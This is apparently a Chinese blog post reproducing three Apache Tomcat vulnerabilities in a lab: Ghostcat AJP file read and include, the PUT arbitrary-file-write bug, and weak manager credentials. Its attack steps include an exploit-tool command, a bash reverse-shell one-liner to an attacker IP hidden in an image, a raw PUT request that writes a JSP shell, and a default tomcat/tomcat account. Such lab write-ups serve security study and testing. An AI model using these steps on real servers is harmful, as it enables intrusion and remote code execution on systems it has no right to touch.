TOMCAT 漏洞相关复现

Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)

[Ghostcat(幽灵猫)](https://www.chaitin.cn/zh/ghostcat) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害

 

实验环境

Tomcat 9.0.30

 

复现

使用脚本发送ajp包,读取文件

 

 

getshell方法

1假设该tomcat上有文件上传,可以上传图片

2、探测端口存在8009,或者有一些网站会更改AJP的端口如(8099 8001 8011)反正都试一下吧,本人就遇到过改为8099和8001的

3、使用大佬写的工具进行文件读取和文件包含(工具文件读取和包含都存在)

https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

验证漏洞存在先进行文件读取(读取不到web.xml的情况下可以尝试读取一些已知的文件,可能会没有web.xml

执行语句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目标Ip

4、上传带有反弹shell语句的图片马

bash -i >& /dev/tcp/192.168.25.1/63000 0>&1

在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换

5、包含3.jpg,并成功反弹shell(必须要已知路径,当前路径即可,所包含的文件必须在ROOT目录下)

 

 

 

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

实验环境

Tomcat版本:8.5.19

影响范围

Apache Tomcat 7.0.0 – 7.0.79

那为什么这里的环境是8.5.19呢,我也不知道

 

 

漏洞原理

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

```
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
```

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。

 

复现

直接发送以下数据包即可在Web根目录写入shell:

```
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
```

 

 

 

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本:8.0

## 环境说明

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

 

在`conf/tomcat-users.xml`文件中配置用户的权限:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>
```

可见,用户tomcat拥有上述所有权限,密码是`tomcat`。

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

war包放在/usr/local/tomcat8/webapps/下

上传

 

冰蝎成功连接

 

 

 

 

 

posted @ 2021-05-10 16:45  paku  阅读(271)  评论(1编辑  收藏  举报